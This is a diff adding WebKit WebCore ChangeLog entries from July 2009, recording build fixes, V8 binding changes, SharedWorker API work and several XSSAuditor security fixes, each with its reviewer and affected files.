+2009-07-13  Feng Qian  <feng@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27237
+
+        Make V8DOMMap.h compiling with gcc option -Werror=non=virtual-dtor.  
+
+        * bindings/v8/V8DOMMap.h:
+        (WebCore::WeakReferenceMap::WeakReferenceMap):
+        (WebCore::WeakReferenceMap::~WeakReferenceMap):
+
+2009-07-13  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Remove an accidental add of bidi.(cpp|h) to WebCore.gypi.
+
+        * WebCore.gypi: Removed bidi.cpp and bidi.h
+
+2009-07-13  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Update WebCore.gyp in preparation to hooking it up.
+
+        * WebCore.gypi: Added files that were mid-stream while switching over.
+
+2009-07-13  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, another small fix for Chromium build.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+
+2009-07-13  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, fix Chromium build bustage.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::JavaScriptConsoleMessage::addToPage):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::handleConsoleMessage):
+
+2009-07-13  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27234
+        <rdar://problem/7054356>
+
+        Add null page check in HTMLDocument::hasFocus.
+
+        Test: fast/dom/HTMLDocument/hasFocus-frameless-crash.html
+
+        * html/HTMLDocument.cpp:
+        (WebCore::HTMLDocument::hasFocus): Add page null check.
+        (WebCore::HTMLDocument::createTokenizer): Cleanup page null check.
+
+2009-07-13  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Disable continuous spell checking in the inspector
+        https://bugs.webkit.org/show_bug.cgi?id=27131
+
+        * inspector/front-end/inspector.html: Added spellcheck="false" to the
+            main-panels and console-prompt containers.
+
+2009-07-13  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium Linux: fix assertion when rendering google.com.kh
+
+        https://bugs.webkit.org/show_bug.cgi?id=26924
+
+        Some shapers (i.e. Khmer) will produce cluster logs which report that
+        /no/ code points contributed to certain glyphs. Because of this, we
+        take any code point which contributed to the glyph in question, or any
+        subsequent glyph.  If we run off the end, then we take the last code
+        point.
+
+        Added LayoutTests/fast/text/international/khmar-selection.html
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::Font::offsetForPositionForComplexText):
+
+2009-07-13  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        spellcheck="false" is ignored
+        <rdar://problem/7054177>
+
+        * editing/Editor.cpp:
+        (WebCore::markMisspellingsOrBadGrammar): Moved code to check the
+            spellcheck attribute from here...
+        (WebCore::Editor::spellCheckingEnabledInFocusedNode): ...to here.
+        (WebCore::Editor::markAllMisspellingsAndBadGrammarInRanges): Bail out
+            if spell chcking is disabled by the spellcheck attribute.
+        * editing/Editor.h:
+
+2009-07-13  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Add new configuration flag for redistributable Windows build.
+        https://bugs.webkit.org/show_bug.cgi=27087
+        
+        * WebCore.vcproj/WebCore.vcproj: Add new WinCairo.vsprops to
+          Debug_Cairo and Release_Cairo builds.
+        * config.h: Check for presence of WIN_CAIRO and select appropriate
+          configuration.  Defaults to standard Apple build.
+
+2009-07-13  Peter Kasting  <pkasting@google.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=19562
+        Back out previous patch for this bug (too many problems).
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/HTMLButtonElement.idl:
+        * html/HTMLFieldSetElement.idl:
+        * html/HTMLFormControlElement.cpp:
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLFormControlElement::form):
+        * html/HTMLInputElement.idl:
+        * html/HTMLSelectElement.idl:
+        * html/HTMLTextAreaElement.idl:
+        * html/ValidityState.cpp: Removed.
+        * html/ValidityState.h: Removed.
+        * html/ValidityState.idl: Removed.
+
+2009-07-13  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add HTMLAllCollection to WebCore.gypi.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27223
+
+        * WebCore.gypi: Add HTMLAllCollection.
+
+2009-07-13  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] Add a missing check for constructor call in WebKitCSSMatrixConstructor.
+        https://bugs.webkit.org/show_bug.cgi?id=27218
+
+        Test: fast/css/matrix-as-function-crash.html
+
+        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Added a check for constructor call.
+
+2009-07-13  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed make dist build fix.
+
+        * GNUmakefile.am:
+
+2009-07-13  Cédric Luthi  <cedric.luthi@gmail.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Fix NPWindow clip rect in PluginViewMac
+
+        The rect should be in window-coordinates. This bug can be observed
+        with Flash 10 here: http://www.permadi.com/tutorial/cursorTracker/
+
+        * plugins/mac/PluginViewMac.cpp:
+
+2009-07-13  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Ariya Hidayat.
+
+        Fix Qt implementation of WebCore::directoryName to return the absolute
+        directory name instead of the base file name.
+
+        * platform/qt/FileSystemQt.cpp:
+        (WebCore::directoryName):
+
+2009-07-13  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Ariya Hidayat.
+
+        Fix WebCore::Path::isEmpty() for the Qt port to return true
+        if there is no element in the path.
+
+        QPainterPath::isEmpty() returns also true if there is one single
+        MoveTo element inside, which makes sense but doesn't patch Webcore's
+        is-empty definition.
+
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::isEmpty): Use elementCount() == 0.
+
+2009-07-13  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Upstream fixes to NPV8Object.cpp that make ~30 layout tests pass.
+        https://bugs.webkit.org/show_bug.cgi?id=27127
+
+        There were a number of bugs introduced during the last upstreaming
+        effort that broke around 30 layout tests.  This fixes those bugs.
+        It also has compile fixes to match the recent cutting apart of
+        V8Proxy.
+
+        * bindings/v8/NPV8Object.cpp:
+        (freeV8NPObject):
+        (npCreateV8ScriptObject):
+        (NPN_Invoke):
+        (NPN_InvokeDefault):
+        (NPN_EvaluateHelper):
+        (NPN_SetException):
+        (NPN_Construct):
+
+2009-07-13  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix memory leak in the V8 binding layer. 
+        https://bugs.webkit.org/show_bug.cgi?id=27163
+
+        Reinitializing the context is not necessary when clearing the proxy for navigation
+        and it will lead us to hold on to an empty context for each frame.
+
+        Test for empty context instead of empty global object handle when
+        updating the document for a context.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::clearForNavigation):
+        (WebCore::V8Proxy::updateDocument):
+
+2009-07-13  John Gregg  <johnnyg@google.com>
+
+        Reviewed by David Levin.
+
+        Correct the logic to determine if a V8 callback returns a value.
+        https://bugs.webkit.org/show_bug.cgi?id=27155
+
+        * bindings/v8/custom/V8CustomVoidCallback.cpp:
+        (WebCore::invokeCallback):
+        - Don't crash if result.IsEmpty().
+
+2009-07-13  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Add ENABLE(SHARED_WORKERS) flag and define SharedWorker APIs
+        https://bugs.webkit.org/show_bug.cgi?id=26932
+
+        Initial IDL definition and bindings for SharedWorkers.
+
+        * Configurations/FeatureDefines.xcconfig:
+        Added new files for SharedWorker support.
+        * DerivedSources.make:
+        Added new files for SharedWorker support.
+        * GNUmakefile.am:
+        Added new files for SharedWorker support.
+        * WebCore.gypi:
+        Added new files for SharedWorker support.
+        * WebCore.pro:
+        Added new files for SharedWorker support.
+        * WebCore.xcodeproj/project.pbxproj:
+        Added new files for SharedWorker support.
+        * bindings/js/JSAbstractWorkerCustom.cpp: Added.
+        (WebCore::JSAbstractWorker::mark):
+        Custom mark handler that marks the event listeners.
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        (WebCore::JSAbstractWorker::toJS):
+        Custom toJS handler which differentiates between various subclasses.
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::sharedWorker):
+        SharedWorker constructor (only enabled when SHARED_WORKERS is
+        enabled).
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        (WebCore::toEventTarget):
+        Added support for converting to/from SharedWorkers.
+        * bindings/js/JSSharedWorkerConstructor.cpp: Added.
+        (WebCore::JSSharedWorkerConstructor::JSSharedWorkerConstructor):
+        (WebCore::constructSharedWorker):
+        (WebCore::JSSharedWorkerConstructor::getConstructData):
+        * bindings/js/JSSharedWorkerConstructor.h: Added.
+        (WebCore::JSSharedWorkerConstructor::classInfo):
+        * bindings/js/JSSharedWorkerCustom.cpp: Added.
+        (WebCore::JSSharedWorker::mark):
+        Custom mark function that marks the internal MessagePort.
+        * bindings/v8/DOMObjectsInclude.h:
+        Updated to include new header files.
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp: Added.
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        V8 handlers for add/removeEventListener().
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        Custom constructor for SharedWorker.
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toSharedWorker):
+        * dom/EventTarget.h:
+        * page/DOMWindow.idl:
+        * workers/AbstractWorker.cpp: Added.
+        (WebCore::AbstractWorker::AbstractWorker):
+        Common base class for SharedWorker and (soon) Worker. The functions below were copied from Worker.cpp.
+        This is the first step in refactoring Worker to derive from AbstractWorker to enable code sharing.
+        (WebCore::AbstractWorker::~AbstractWorker):
+        (WebCore::AbstractWorker::addEventListener):
+        (WebCore::AbstractWorker::removeEventListener):
+        (WebCore::AbstractWorker::dispatchEvent):
+        (WebCore::AbstractWorker::dispatchLoadErrorEvent):
+        (WebCore::AbstractWorker::dispatchScriptErrorEvent):
+        * workers/AbstractWorker.h: Added.
+        Definitions of functionality shared by Worker.h and SharedWorker.h. In a future patch, Worker will derive from AbstractWorker.
+        (WebCore::AbstractWorker::scriptExecutionContext):
+        (WebCore::AbstractWorker::setOnerror):
+        (WebCore::AbstractWorker::onerror):
+        (WebCore::AbstractWorker::eventListeners):
+        (WebCore::AbstractWorker::refEventTarget):
+        (WebCore::AbstractWorker::derefEventTarget):
+        * workers/AbstractWorker.idl: Added.
+        * workers/SharedWorker.cpp: Added.
+        (WebCore::SharedWorker::SharedWorker):
+        (WebCore::SharedWorker::~SharedWorker):
+        * workers/SharedWorker.h: Added.
+        (WebCore::SharedWorker::create):
+        (WebCore::SharedWorker::port):
+        (WebCore::SharedWorker::toSharedWorker):
+        * workers/SharedWorker.idl: Added.
+
+2009-07-13  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Cleanup - Remove prf install target
+        https://bugs.webkit.org/show_bug.cgi?id=27191
+
+        qtwebkit.prf has been removed; this cleans up the related
+        install target as well.
+
+        * WebCore.pro: Remove prf install target
+
+2009-07-12  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Facebook Chat is broken due to XSS auditor
+        https://bugs.webkit.org/show_bug.cgi?id=27179
+
+        Instead of just using the script's URL as to detect an XSS attack, we
+        now use a bit of context before the URL.  In particular, we use the
+        bytes from the beginning of the attribute name to the end of the
+        attribute value.  In virtually all injection attacks, the attacker
+        would need to supply the attribute name as well as the attribute value.
+        However, in the Facebook false positive, the attribute name is not
+        present in the URL.
+
+        Tests: http/tests/security/xssAuditor/script-tag-src-redirect-safe.html
+               http/tests/security/xssAuditor/script-tag-with-source-double-quote.html
+               http/tests/security/xssAuditor/script-tag-with-source-no-quote.html
+
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::parseTag):
+        * html/HTMLTokenizer.h:
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        * page/XSSAuditor.h:
+
+2009-07-12  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Refactor ConsoleMessage to add MessageType attribute.
+        https://bugs.webkit.org/show_bug.cgi?id=20625
+
+        * bindings/js/JSCustomXPathNSResolver.cpp:
+        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::printErrorMessage):
+        * dom/Document.cpp:
+        (WebCore::Document::reportException):
+        (WebCore::Document::addMessage):
+        * dom/Document.h:
+        * dom/ScriptExecutionContext.h:
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::reportErrorToConsole):
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addMessageToConsole):
+        (WebCore::InspectorController::startGroup):
+        (WebCore::InspectorController::endGroup):
+        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
+        (WebCore::InspectorController::addStartProfilingMessageToConsole):
+        (WebCore::InspectorController::count):
+        * inspector/InspectorController.h:
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype.addMessage):
+        (WebInspector.ConsoleMessage): Added type property.
+        (WebInspector.ConsoleMessage.prototype.toMessageElement):
+        (WebInspector.ConsoleMessage.prototype.toString):
+        (WebInspector.ConsoleMessage.prototype.isEqual):
+        (WebInspector.ConsoleCommandResult):
+        (WebInspector.ConsoleGroup.prototype.addMessage):
+        (WebInspector.ConsoleGroup.prototype._titleClicked):
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource.prototype._addTip):
+        (WebInspector.Resource.prototype._checkWarning):
+        * inspector/front-end/inspector.css: Changed ".console-group-title-level" to ".console-group-title"
+        * inspector/front-end/inspector.js:
+        (WebInspector.addMessageToConsole):
+        * loader/DocLoader.cpp:
+        (WebCore::DocLoader::printAccessDeniedMessage):
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::addMessageToConsole):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::reportLocalLoadFailed):
+        (WebCore::FrameLoader::shouldAllowNavigation):
+        * page/ChromeClient.h:
+        * page/Console.cpp:
+        (WebCore::printMessageSourceAndLevelPrefix):
+        (WebCore::Console::addMessage):
+        (WebCore::Console::error):
+        (WebCore::Console::log):
+        (WebCore::Console::dir):
+        (WebCore::Console::trace):
+        (WebCore::Console::assertCondition):
+        (WebCore::Console::timeEnd):
+        (WebCore::Console::warn):
+        * page/Console.h: Added MessageType enum.
+        (WebCore::):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::postMessageTimerFired):
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        (WebCore::XSSAuditor::canLoadObject):
+        * svg/SVGDocumentExtensions.cpp:
+        (WebCore::SVGDocumentExtensions::reportWarning):
+        (WebCore::SVGDocumentExtensions::reportError):
+        * wml/WMLErrorHandling.cpp:
+        (WebCore::reportWMLError):
+        * workers/GenericWorkerTask.h: Added GenericWorkerTask8 for the extra argument.
+        (WebCore::GenericWorkerTask8::create):
+        (WebCore::GenericWorkerTask8::GenericWorkerTask8):
+        (WebCore::GenericWorkerTask8::performTask):
+        (WebCore::createCallbackTask):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::addMessage):
+        (WebCore::WorkerContext::importScripts):
+        * workers/WorkerContext.h:
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::postConsoleMessageTask):
+        (WebCore::WorkerMessagingProxy::postConsoleMessageToWorkerObject):
+        * workers/WorkerMessagingProxy.h:
+        * workers/WorkerObjectProxy.h:
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::reportUnsafeUsage):
+        (WebCore::XMLHttpRequest::didFinishLoading):
+        * xml/XSLTProcessor.cpp:
+        (WebCore::XSLTProcessor::parseErrorFunc):
+
+2009-07-12  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Upstream UndetectableHTMLCollection.idl as HTMLAllCollection.idl.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27132
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * dom/HTMLAllCollection.idl: Added.
+
+2009-07-12  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Inspector: Duplicate Computation in Autocompletion
+        https://bugs.webkit.org/show_bug.cgi?id=26778
+
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt.prototype._completionsReady):
+
+2009-07-12  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27196
+        Rename bidi.cpp to RenderBlockLineLayout.cpp and remove bidi.h
+
+        * GNUmakefile.am: Updated.
+        * WebCore.gypi: Updated.
+        * WebCore.pro: Updated.
+        * WebCore.vcproj/WebCore.vcproj: Updated.
+        * WebCore.xcodeproj/project.pbxproj: Updated.
+        * WebCoreSources.bkl: Updated.
+        * rendering/RenderBlock.h: Removed unnecessary forward declaration and
+            updated comments.
+        * rendering/RenderBlockLineLayout.cpp: Copied from WebCore/rendering/bidi.cpp.
+            Removed unnecessary #include statements.
+        (WebCore::BidiRun::BidiRun): Moved here from bidi.h.
+        (WebCore::RenderBlock::layoutInlineChildren): Removed outdated comment.
+        * rendering/bidi.cpp: Removed.
+        * rendering/bidi.h: Removed.
+
+2009-07-12  Dan Bernstein  <mitz@apple.com>
+
+        - Windows build fix
+
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        (WebCore::PDFDocumentImage::dataChanged):
+
+2009-07-12  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        - Image cleanup
+
+        * platform/graphics/BitmapImage.cpp:
+        (WebCore::BitmapImage::destroyDecodedData): Use the data() accessor
+        instead of the m_data member.
+        (WebCore::BitmapImage::dataChanged): Ditto.
+        * platform/graphics/Image.h: Re-ordered #includes and class
+        declarations. Removed the drawPatternCallback() declaration. Made member
+        variables private.
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::drawPatternCallback): Changed this from a member function to a
+        static function.
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        (WebCore::PDFDocumentImage::dataChanged): Use the data() accessor
+        instead of the m_data member.
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::dataChanged): Ditto.
+
+2009-07-12  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27189
+        
+        Fixes insufficient check in XSSAuditor::canSetBaseElementURL that caused 
+        XSSAuditor to incorrectly block HTML Base elements whose base path coincided 
+        with the URL of the page.
+
+        Test: http/tests/security/xssAuditor/base-href-safe3.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canSetBaseElementURL): Changed conditional to only call 
+        XSSAuditor::findInRequest() if the host in the page URL disagrees with the host 
+        in the base element URL.
+
+2009-07-12  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Text searching with ICU should take the user's default locale into account
+        https://bugs.webkit.org/show_bug.cgi?id=27184
+        rdar://problem/6812121
+
+        No simple way to test this since it's dependent on user locale.
+        After this, the user's default locale is used only on Mac.
+
+        * editing/TextIterator.cpp:
+        (WebCore::createSearcher): Pass result of the currentSearchLocaleID
+        function as the locale.
+
+        * platform/text/TextBreakIteratorInternalICU.h: Added declaration of
+        currentSearchLocaleID function.
+
+        * platform/text/android/TextBreakIteratorInternalICU.cpp:
+        (WebCore::currentSearchLocaleID): Added. Returns the empty string.
+        * platform/text/chromium/TextBreakIteratorInternalICUChromium.cpp:
+        (WebCore::currentSearchLocaleID): Ditto.
+        * platform/text/gtk/TextBreakIteratorInternalICUGtk.cpp:
+        (WebCore::currentSearchLocaleID): Ditto.
+
+        * platform/text/mac/TextBreakIteratorInternalICUMac.mm:
+        (WebCore::textBreakLocalePreference): Added. Returns the value of
+        the AppleTextBreakLocale preference.
+        (WebCore::topLanguagePreference): Added. Returns the value of the
+        first item in the AppleLanguages preference.
+        (WebCore::canonicalLanguageIdentifier): Added. Cover for the
+        CFLocaleCreateCanonicalLanguageIdentifierFromString function.
+        (WebCore::getLocale): Added. Transfers the locale from a CFStringRef
+        into a buffer.
+        (WebCore::getSearchLocale): Added. Calls topLanguagePreference,
+        canonicalLanguageIdentifier, and getLocale.
+        (WebCore::currentSearchLocaleID): Added. Calls getSearchLocale once.
+        (WebCore::getTextBreakLocale): Changed to call
+        textBreakLocalePreference, topLanguagePreference,
+        canonicalLanguageIdentifier, and getLocale.
+
+        * platform/text/win/TextBreakIteratorInternalICUWin.cpp:
+        (WebCore::currentSearchLocaleID): Added. Returns the empty string.
+        * platform/wx/TemporaryLinkStubs.cpp:
+        (WebCore::currentSearchLocaleID): Ditto.
+
+2009-07-12  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        Create a PangoLayout that properly represents the visual
+        appearance of the text in the web page so that the line boundary
+        modes of getText{At,Before,After}Offset work correctly.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (UTF16ToUTF8):
+        (g_substr):
+        (convertUniCharToUTF8):
+        (getPangoLayoutForAtk):
+
+2009-07-11  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Bug 27187 - Match Gecko behaviour for canvas path mutation APIs on an empty path
+        <https://bugs.webkit.org/show_bug.cgi?id=27187>
+
+        Simple API change, check for the empty path and add appropriate point if necessary.
+
+        Test: fast/canvas/canvas-modify-emptyPath.html
+
+        * Info.plist:
+        * WebCore.xcodeproj/project.pbxproj:
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::lineTo):
+        (WebCore::CanvasRenderingContext2D::quadraticCurveTo):
+        (WebCore::CanvasRenderingContext2D::bezierCurveTo):
+
+2009-07-11  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Antti Koivisto.
+
+        HTMLMediaElement.canPlayType "maybe" and "probably" reversed
+        https://bugs.webkit.org/show_bug.cgi?id=27186
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::supportsType):
+            Return "probably" if type has codecs parameter.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::supportsType):
+            Ditto.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::supportsType):
+            Ditto.
+
+2009-07-11  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        A worker-thread inspired follow-up for:
+        https://bugs.webkit.org/show_bug.cgi?id=26496 and <rdar://problem/7046520>
+        REGRESSION: XHR stream connection blocks iFrame loading and resource downloading
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::loadRequestAsynchronously): Don't perform the XHR compensation when the XHR
+          is running on a worker thread. Accessing the global Cache data structures from a non-main thread is
+          not currently supported.
+
+2009-07-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Enable support for accelerated compositing and 3d transforms on Leopard.
+        <https://bugs.webkit.org/show_bug.cgi?id=20166>
+        <rdar://problem/6120614>
+
+        Reviewed by Oliver Hunt.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2009-07-11  Simon Hausmann  <hausmann@webkit.org>
+
+        Fix the Qt build after r45724.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtRuntimeObjectImp::QtRuntimeObjectImp):
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtRuntimeMethod::QtRuntimeMethod):
+
+2009-07-10  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26921
+
+        Implements support for HTML entities, so XSSAuditor can protect against attacks
+        encoded with HTML entities.
+
+        Tests: http/tests/security/xssAuditor/inline-event-HTML-entities.html
+               http/tests/security/xssAuditor/javascript-link-HTML-entities-control-char.html
+               http/tests/security/xssAuditor/javascript-link-HTML-entities-named.html
+               http/tests/security/xssAuditor/javascript-link-HTML-entities-null-char.html
+               http/tests/security/xssAuditor/javascript-link-HTML-entities.html
+               http/tests/security/xssAuditor/link-onclick-entities.html
+               http/tests/security/xssAuditor/script-tag-entities.html
+               http/tests/security/xssAuditor/script-tag-with-source-entities.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
+        (WebCore::XSSAuditor::decodeURL): Modified to call WebCore::XSSAuditor::decodeHTMLEntities
+        to decode HTML entities.
+        (WebCore::XSSAuditor::decodeHTMLEntities): Added method to decode HTML entities.
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h:
+
+2009-07-10  David Kilzer  <ddkilzer@apple.com>
+
+        Bug 27007: Build fixes when ICONDATABASE is disabled
+
+        <https://bugs.webkit.org/show_bug.cgi?id=27007>
+
+        Reviewed by Sam Weinig.
+
+        * WebCore.xcodeproj/project.pbxproj: Added IconDatabaseNone.cpp
+        to the project.
+        * loader/icon/IconDatabase.cpp: Added
+        #if ENABLE(ICONDATABASE)/#endif macro guard.
+        * loader/icon/IconDatabase.h: Removed three public methods from
+        #if ENABLE(ICONDATABASE)/#endif macro so that they may be
+        stubbed out in IconDatabaseNone.cpp.
+        * loader/icon/IconDatabaseNone.cpp: Added
+        #if !ENABLE(ICONDATABASE)/#endif macro guard.
+        (WebCore::IconDatabase::importIconURLForPageURL): Added.
+        (WebCore::IconDatabase::importIconDataForIconURL): Added.
+        (WebCore::IconDatabase::shouldStopThreadActivity): Added.
+
+2009-07-10  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27151
+
+        Fixes issue where JavaScript URLs that contain null- and non-null control characters can
+        bypass XSSAuditor.
+
+        Tests: http/tests/security/xssAuditor/javascript-link-control-char.html
+               http/tests/security/xssAuditor/javascript-link-null-char.html
+               http/tests/security/xssAuditor/javascript-link.html
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate): Separated out logic for JavaScript URLs from 
+        inline scripts. For JavaScript URLs, calls XSSAuditor::canEvaluateJavaScriptURL.
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate): Made similar changes to evaluate() as in
+        bindings/js/ScriptController.cpp.
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL): Separated out logic for JavaScript URLs
+        into its own method.
+        * page/XSSAuditor.h:
+
+2009-07-10  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by David Kilzer.
+
+        WebKit needs a style linting tool
+        https://bugs.webkit.org/show_bug.cgi?id=25884
+
+        Fix bunch of style issues by autofix of cpplint.
+        This patch is created to demonstrate the autofix of cpplint.py.
+
+        No new testcases because it's a style fix
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseMediaQuery):
+        (WebCore::CSSParser::validUnit):
+        (WebCore::CSSParser::parseValue):
+        (WebCore::skipCommaInDashboardRegion):
+        (WebCore::CSSParser::parseDashboardRegions):
+        (WebCore::ShadowParseContext::commitValue):
+        (WebCore::ShadowParseContext::commitLength):
+        (WebCore::ShadowParseContext::commitColor):
+        (WebCore::BorderImageParseContext::commitNumber):
+        (WebCore::BorderImageParseContext::commitWidth):
+        (WebCore::BorderImageParseContext::commitRule):
+        (WebCore::BorderImageParseContext::commitBorderImage):
+        (WebCore::CSSParser::lex):
+        (WebCore::CSSParser::text):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * css/MediaList.cpp:
+        (WebCore::MediaList::deleteMedium):
+        * css/MediaQuery.h:
+        * css/MediaQueryEvaluator.cpp:
